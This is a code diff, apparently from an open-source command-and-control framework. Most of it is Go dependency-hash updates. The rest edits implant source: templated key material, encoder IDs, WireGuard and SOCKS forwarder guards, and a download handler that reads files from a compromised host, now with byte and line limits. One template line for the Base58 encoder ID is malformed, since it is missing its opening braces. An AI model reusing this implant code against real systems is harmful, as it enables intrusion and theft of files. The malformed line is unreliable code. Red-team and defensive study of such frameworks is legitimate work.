golang.org/x/mod v0.11.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -440,10 +463,11 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.11.0 h1:Gi2tvZIJyBtO9SDr1q9h5hEQCp/4L2RQ+ar0qjx2oNU=
|
||||
golang.org/x/net v0.11.0/go.mod h1:2L/ixqYpgIVXmeoSA/4Lu7BzTG4KIyPIryS4IsOd1oQ=
|
||||
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
|
||||
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.7.0 h1:qe6s0zUXlPX80/dITx3440hWZ7GwMwgDDyrSGTPJG/g=
|
||||
golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU=
|
||||
golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
@@ -451,8 +475,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.2.0 h1:PUR+T4wwASmuSTYdKjYHI5TD22Wy5ogLU5qZCOLxBrI=
|
||||
golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
|
||||
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -486,23 +510,24 @@ golang.org/x/sys v0.0.0-20220622161953-175b2fd9d664/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
|
||||
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
|
||||
golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.9.0 h1:GRRCnKYhdQrD8kfRAdQ6Zcw1P0OcELxGLKJvtjVMZ28=
|
||||
golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo=
|
||||
golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek=
|
||||
golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.10.0 h1:UpjohKhiEgNc0CSauXmwYftY1+LlaC75SJwh0SgCX58=
|
||||
golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k=
|
||||
golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
@@ -536,18 +561,19 @@ golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prr
|
||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
|
||||
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1 h1:KpwkzHKEF7B9Zxg18WzOa7djJ+Ha5DzthMyZYQfEn2A=
|
||||
google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1/go.mod h1:nKE/iIaLqn2bQwXBg8f1g2Ylh6r5MN5CmZvuzZCgsCU=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
||||
google.golang.org/grpc v1.56.1 h1:z0dNfjIl0VpaZ9iSVjA6daGatAYwPGstTjt5vkRMFkQ=
|
||||
google.golang.org/grpc v1.56.1/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s=
|
||||
google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=
|
||||
google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
|
||||
@@ -557,6 +583,7 @@ gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
|
||||
@@ -570,6 +597,7 @@ gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLv
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
@@ -588,10 +616,13 @@ gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f/go.mod h1:pzr6sy8gDLfVmDAg8
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.4.3 h1:o/n5/K5gXqk8Gozvs2cnL0F2S1/g1vcGCAx2vETjITw=
|
||||
honnef.co/go/tools v0.4.3/go.mod h1:36ZgoUOrqOk1GxwHhyryEkq8FQWkUO2xGuSMhUCcdvA=
|
||||
howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM=
|
||||
howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
|
||||
inet.af/peercred v0.0.0-20210906144145-0893ea02156a h1:qdkS8Q5/i10xU2ArJMKYhVa1DORzBfYS/qA2UK2jheg=
|
||||
inet.af/peercred v0.0.0-20210906144145-0893ea02156a/go.mod h1:FjawnflS/udxX+SvpsMgZfdqx2aykOlkISeAsADi5IU=
|
||||
inet.af/wf v0.0.0-20221017222439-36129f591884 h1:zg9snq3Cpy50lWuVqDYM7AIRVTtU50y5WXETMFohW/Q=
|
||||
inet.af/wf v0.0.0-20221017222439-36129f591884/go.mod h1:bSAQ38BYbY68uwpasXOTZo22dKGy9SNvI6PZFeKomZE=
|
||||
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
|
||||
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
|
||||
@@ -599,7 +630,9 @@ modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
|
||||
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
|
||||
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
|
||||
modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
|
||||
modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
|
||||
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
|
||||
@@ -613,11 +646,14 @@ modernc.org/sqlite v1.23.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
|
||||
modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
|
||||
modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE=
|
||||
nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g=
|
||||
nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0=
|
||||
software.sslmate.com/src/go-pkcs12 v0.2.0 h1:nlFkj7bTysH6VkC4fGphtjXRbezREPgrHuJG20hBGPE=
|
||||
tailscale.com v1.44.0 h1:MPos9n30kJvdyfL52045gVFyNg93K+bwgDsr8gqKq2o=
|
||||
tailscale.com v1.44.0/go.mod h1:+iYwTdeHyVJuNDu42Zafwihq1Uqfh+pW7pRaY1GD328=
|
||||
software.sslmate.com/src/go-pkcs12 v0.2.0/go.mod h1:23rNcYsMabIc1otwLpTkCCPwUq6kQsTyowttG/as0kQ=
|
||||
tailscale.com v1.50.1 h1:q3lwxT2Y2ezc+FBCMHP8M14cgu1V0JiuLikojdsXuGU=
|
||||
tailscale.com v1.50.1/go.mod h1:lBw7+Mw2d7rea3kefGjYWN8IJkB5dyaakMNMOinNGDo=
|
||||
@@ -30,15 +30,15 @@ import (
|
||||
|
||||
var (
|
||||
// PeerAgePublicKey - The implant's age public key
|
||||
PeerAgePublicKey = "{{.Config.PeerPublicKey}}"
|
||||
PeerAgePublicKey = "{{.Build.PeerPublicKey}}"
|
||||
// peerPrivateKey - The implant's age private key
|
||||
peerAgePrivateKey = "{{.Config.PeerPrivateKey}}"
|
||||
peerAgePrivateKey = "{{.Build.PeerPrivateKey}}"
|
||||
// PublicKeySignature - The implant's age public key minisigned'd
|
||||
PeerAgePublicKeySignature = `{{.Config.PeerPublicKeySignature}}`
|
||||
PeerAgePublicKeySignature = `{{.Build.PeerPublicKeySignature}}`
|
||||
// serverPublicKey - Server's ECC public key
|
||||
serverAgePublicKey = "{{.Config.AgeServerPublicKey}}"
|
||||
serverAgePublicKey = "{{.Build.AgeServerPublicKey}}"
|
||||
// serverMinisignPublicKey - The server's minisign public key
|
||||
serverMinisignPublicKey = `{{.Config.MinisignServerPublicKey}}`
|
||||
serverMinisignPublicKey = `{{.Build.MinisignServerPublicKey}}`
|
||||
|
||||
// ErrInvalidPeerKey - Peer to peer key exchange failed
|
||||
ErrInvalidPeerKey = errors.New("invalid peer key")
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
insecureRand "math/rand"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -43,13 +44,13 @@ var (
|
||||
EncoderModulus = uint64(65537)
|
||||
MaxN = uint64(9999999)
|
||||
|
||||
Base32EncoderID = uint64(65)
|
||||
Base58EncoderID = uint64(43)
|
||||
Base64EncoderID = uint64(131)
|
||||
EnglishEncoderID = uint64(31)
|
||||
GzipEncoderID = uint64(49)
|
||||
HexEncoderID = uint64(92)
|
||||
PNGEncoderID = uint64(22)
|
||||
Base32EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base32EncoderID}}`, 10, 64)
|
||||
Base58EncoderID, _ = strconv.ParseUint(`.Encoders.Base58EncoderID}}`, 10, 64)
|
||||
Base64EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base64EncoderID}}`, 10, 64)
|
||||
EnglishEncoderID, _ = strconv.ParseUint(`{{.Encoders.EnglishEncoderID}}`, 10, 64)
|
||||
GzipEncoderID, _ = strconv.ParseUint(`{{.Encoders.GzipEncoderID}}`, 10, 64)
|
||||
HexEncoderID, _ = strconv.ParseUint(`{{.Encoders.HexEncoderID}}`, 10, 64)
|
||||
PNGEncoderID, _ = strconv.ParseUint(`{{.Encoders.PNGEncoderID}}`, 10, 64)
|
||||
)
|
||||
|
||||
func init() {
|
||||
|
||||
@@ -18,7 +18,7 @@ package forwarder
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
var (
|
||||
tcpForwarders map[int]*WGTCPForwarder
|
||||
socksServers map[int]*WGSocksServer
|
||||
|
||||
@@ -18,7 +18,7 @@ package forwarder
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
@@ -18,10 +18,10 @@ package forwarder
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
|
||||
@@ -61,7 +61,7 @@ func (s *WGSocksServer) LocalAddr() string {
|
||||
func (s *WGSocksServer) Start() error {
|
||||
var err error
|
||||
server := socks5.NewServer(
|
||||
socks5.WithLogger(socks5.NewLogger(log.New(ioutil.Discard, "", log.LstdFlags))),
|
||||
socks5.WithLogger(socks5.NewLogger(log.New(io.Discard, "", log.LstdFlags))),
|
||||
)
|
||||
select {
|
||||
case <-s.done:
|
||||
|
||||
@@ -18,7 +18,7 @@ package handlers
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
@@ -30,8 +30,10 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -329,7 +331,7 @@ func cpHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
defer srcFile.Close()
|
||||
|
||||
|
||||
dstFile, err := os.Create(cpReq.Dst)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -342,7 +344,7 @@ func cpHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
|
||||
|
||||
bytesWritten, err := io.Copy(dstFile, srcFile)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -446,21 +448,79 @@ func pwdHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
|
||||
func prepareDownload(path string, filter string, recurse bool, maxBytes int64, maxLines int64) ([]byte, bool, int, int, error) {
|
||||
/*
|
||||
Combine the path and filter to see if the user wants
|
||||
to download a single file
|
||||
*/
|
||||
var rawData []byte
|
||||
var err error
|
||||
|
||||
fileInfo, err := os.Stat(path + filter)
|
||||
if err != nil {
|
||||
return nil, false, 0, 1, err
|
||||
}
|
||||
|
||||
if err == nil && !fileInfo.IsDir() {
|
||||
// Then this is a single file
|
||||
rawData, err := os.ReadFile(path + filter)
|
||||
fileHandle, err := os.Open(path + filter)
|
||||
if err != nil {
|
||||
// Then we could not read the file
|
||||
return nil, false, 0, 1, err
|
||||
}
|
||||
defer fileHandle.Close()
|
||||
|
||||
if maxBytes != 0 {
|
||||
var readFirst bool = maxBytes > 0
|
||||
if readFirst {
|
||||
rawData = make([]byte, maxBytes)
|
||||
_, err = fileHandle.Read(rawData)
|
||||
} else {
|
||||
rawData = make([]byte, maxBytes*-1)
|
||||
var bytesToRead int64 = 0
|
||||
if fileInfo.Size()+maxBytes < 0 {
|
||||
bytesToRead = 0
|
||||
} else {
|
||||
bytesToRead = fileInfo.Size() + maxBytes
|
||||
}
|
||||
_, err = fileHandle.ReadAt(rawData, bytesToRead)
|
||||
}
|
||||
|
||||
} else if maxLines != 0 {
|
||||
var linesRead int64 = 0
|
||||
var lines []string
|
||||
var readFirst bool = true
|
||||
|
||||
if maxLines < 0 {
|
||||
maxLines *= -1
|
||||
readFirst = false
|
||||
}
|
||||
|
||||
fileScanner := bufio.NewScanner(fileHandle)
|
||||
for fileScanner.Scan() {
|
||||
lines = append(lines, fileScanner.Text())
|
||||
linesRead += 1
|
||||
if linesRead == maxLines && readFirst {
|
||||
break
|
||||
}
|
||||
}
|
||||
err = fileScanner.Err()
|
||||
if err == nil {
|
||||
if readFirst {
|
||||
rawData = []byte(strings.Join(lines, "\n"))
|
||||
} else {
|
||||
linePosition := int64(len(lines)) - maxLines
|
||||
if linePosition < 0 {
|
||||
linePosition = 0
|
||||
}
|
||||
rawData = []byte(strings.Join(lines[linePosition:], "\n"))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Read the entire file
|
||||
rawData = make([]byte, fileInfo.Size())
|
||||
_, err = fileHandle.Read(rawData)
|
||||
}
|
||||
if err != nil && err != io.EOF {
|
||||
// Then we could not read the file
|
||||
return nil, false, 0, 1, err
|
||||
} else {
|
||||
return rawData, false, 1, 0, nil
|
||||
}
|
||||
@@ -498,11 +558,29 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
if pathIsDirectory(target) {
|
||||
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
|
||||
target += "/"
|
||||
if downloadReq.RestrictedToFile {
|
||||
/*
|
||||
The user has asked to perform a download operation that should only be allowed on
|
||||
files, and this is a directory. We should let them know.
|
||||
*/
|
||||
err = fmt.Errorf("cannot complete command because target %s is a directory", target)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error completing download command: %v", err)
|
||||
// {{end}}
